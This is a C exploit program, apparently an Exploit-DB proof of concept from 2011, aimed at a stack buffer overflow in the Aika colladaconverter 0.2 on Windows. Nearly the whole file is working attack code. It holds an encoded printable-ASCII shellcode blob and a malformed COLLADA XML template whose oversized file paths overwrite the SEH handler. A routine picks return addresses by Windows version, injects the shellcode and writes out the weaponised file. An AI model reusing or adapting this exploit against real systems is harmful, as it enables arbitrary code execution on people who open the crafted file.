/*//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////# Exploit Title: Aika colladaconverter buffer overflow exploit# Date: 09/11/2011# Author: isciurus# Software Link: http://aika.googlecode.com/files/aika-v02.zip# Version: 0.2# Tested on: Windows 7 x64
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program.If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////*/#include <stdio.h>#include <windows.h>#include <stdlib.h>#include "string.h"
char printableASCIIShellcode[] = // encoded 499 bytes
"WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG"// will be injected inside the file path ---------"OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC"//|"GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF"//|"RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv"//|"UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf"//|"EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx"//|"JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO"//|"HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY";//|//|
char xml[] = //|"<?xml version=\"1.0\" encoding=\"utf8\"?>"//|"<COLLADA xmlns=\"http://www.collada.org/2005/11/COLLADASchema\" version=\"1.4.1\">"//|"<asset>"//|"<contributor>"//|"<author>isciurus</author>"//|"<comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>"//|"</contributor>"//|"<created>2011-09-04T22:29:59Z</created>"//|"<modified>2011-09-04T22:29:59Z</modified>"//|"<unit meter=\"0.01\" name=\"centimeter\"/>"//|"<up_axis>Y_UP</up_axis>"//|"</asset>"//|"<library_cameras>"//|"<camera id=\"cameraShape1\" name=\"cameraShape1\">"//|"<optics>"//|"<technique_common>"//|"<perspective>"//|"<yfov>37.8492</yfov>"//|"<aspect_ratio>1.5</aspect_ratio>"//|"<znear>1</znear>"//|"<zfar>10000</zfar>"//|"</perspective>"//|"</technique_common>"//|"</optics>"//|"</camera>"//|"</library_cameras>"//|"<library_lights></library_lights>"//|"<library_images>"//|"<image id=\"file2\" name=\"file2\" depth=\"1\">"//|"<init_from>E:\\aika\\"//<---------------------------"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS""SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"// ^
//|//------------------------------------------------- the shellcode will be copied at this address
"AAAAA"" </init_from>""</image>"" <image id=\"file3\" name=\"file3\" depth=\"1\">""<init_from>E:\\aika\\""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB""BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"// ^
//|//-------------------------------------------------------- these bytes will overwrite SEH handler
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"// this part forces the application to write outside
"AAAAAAAAAAAAAAAAAAAA"// the stack and triggers AV exception
" </init_from>""</image>""</library_images>""<library_materials>""<material id=\"blinn3\" name=\"blinn3\">""<instance_effect url=\"#blinn3-fx\"/>""</material>""</library_materials>""<library_geometries>""<geometry id=\"LOD3spShape-lib\" name=\"LOD3spShape\">""<mesh>""<source id=\"LOD3spShape-lib-positions\" name=\"position\">""<technique_common>""<accessor count=\"2108\" offset=\"0\" source=\"#LOD3spShape-lib-positions-array\" stride=\"3\">""<param name=\"X\" type=\"float\"/>""<param name=\"Y\" type=\"float\"/>""<param name=\"Z\" type=\"float\"/>""</accessor>""</technique_common>""</source>""<source id=\"LOD3spShape-lib-normals\" name=\"normal\">""<technique_common>""<accessor count=\"2290\" offset=\"0\" source=\"#LOD3spShape-lib-normals-array\" stride=\"3\">""<param name=\"X\" type=\"float\"/>""<param name=\"Y\" type=\"float\"/>""<param name=\"Z\" type=\"float\"/>""</accessor>""</technique_common>""</source>""<source id=\"LOD3spShape-lib-map1\" name=\"map1\">""<technique_common>""<accessor count=\"2277\" offset=\"0\" source=\"#LOD3spShape-lib-map1-array\" stride=\"2\">""<param name=\"S\" type=\"float\"/>""<param name=\"T\" type=\"float\"/>""</accessor>""</technique_common>""</source>""<vertices id=\"LOD3spShape-lib-vertices\">""<input semantic=\"POSITION\" source=\"#LOD3spShape-lib-positions\"/>""</vertices>""<triangles count=\"4212\" material=\"blinn3SG\">""<input offset=\"0\" semantic=\"VERTEX\" source=\"#LOD3spShape-lib-vertices\"/>""<input offset=\"1\" semantic=\"NORMAL\" source=\"#LOD3spShape-lib-normals\"/>""<input offset=\"2\" semantic=\"TEXCOORD\" source=\"#LOD3spShape-lib-map1\" set=\"0\"/>""<p>375</p>""</triangles>""</mesh>""</geometry>""</library_geometries>""<scene>""<instance_visual_scene url=\"#VisualSceneNode\"/>""</scene>""</COLLADA>";
int main(int argc, char **argv){
FILE *xml_file;
char win7;
char *offset;
char *ll;if(argc < 2){
printf("\nUsage: aika_bof <malformed_collada_xml_path>");return 0;}if(sizeof(printableASCIIShellcode) > 644){
printf("\nSorry, the shellcode is too long, 644 chars is maximum");return 0;}while(1){
char os;
printf("\nChoose OS version ([X] for Windows XP, [7] for Windows 7):");
os = tolower(getchar());if(os == 'x'){
win7 = 0;break;}elseif(os == '7'){
win7 = 1;break;}else{
printf("\nUnknown OS version");}}
printf("\n[*] Injecting the shellcode into the xml...");
offset = strstr(xml,"SSSSSSSSSSSSSSSSSSSSSSSSSSSS");
strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode)- 1);if(win7 == 1){
offset = strstr(xml,"ADDR_1");
strncpy(offset,"%40%02", sizeof("%40%02")-1);
offset = strstr(xml,"ADDR_2");
strncpy(offset,"%40%02", sizeof("%40%02")-1);}else{
offset = strstr(xml,"ADDR_1");
strncpy(offset,"%40%01", sizeof("%40%01")-1);
offset = strstr(xml,"ADDR_2");
strncpy(offset,"%40%01", sizeof("%40%01")-1);}
printf("done");
printf("\n[*] Writing %d bytes to %s...", sizeof(xml), argv[1]);
xml_file = fopen(argv[1],"wb");if(xml_file == NULL){
printf("\nerror while opening %s", argv[1]);return 0;}if(fwrite(xml, 1, sizeof(xml)- 1, xml_file)!= sizeof(xml)- 1){
printf("\nerror while writing into %s", argv[1]);return 0;}
printf("done");}
